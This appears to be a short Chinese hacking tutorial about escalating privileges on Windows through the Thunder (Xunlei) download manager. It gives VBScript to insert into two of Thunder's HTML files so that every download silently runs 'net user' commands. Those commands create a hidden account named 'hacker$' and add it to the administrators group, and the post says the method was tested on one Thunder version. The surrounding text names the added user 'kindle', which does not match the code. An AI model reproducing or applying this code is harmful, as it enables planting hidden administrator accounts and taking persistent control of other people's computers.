迅雷启动调用wscript添加用户实现提权

　　当我们使用迅雷下载东西的时候，会调用我们安装迅雷后一个htm文件，去激活htm文件里的一些代码，把我们所下载东西添加到列表当中。
　　所对应的htm文件有2处
　　一、C:\ProgramFiles\ThunderNetwork\Thunder\Program\geturl.htm
　　二、C:\ProgramFiles\ThunderNetwork\Thunder\Program\getAllurl.htm
　　如果我们想把我们想要的代码添加进去执行了？
　　我们简单写个代码试试，代码如下：
　　<scriptlanguage="VBScript">
　　Setvbs=CreateObject("Wscript.Shell")
　　vbs.run"cmd/cnetuser hacker$ hack/add",0
　　vbs.run"cmd/cnetlocalgroupadministratorshacker$ /add",0
　　</script>
　　应该大家都可以看的出，如果我们把这段代码添加到那2个htm文件里，当迅雷下载东西的时候，一样会去执行我们的代码。添加一个administrators组的一个用户kindle，当然，代码大家可以自定义的..
　　测试通过，迅雷版本为5.9.2.927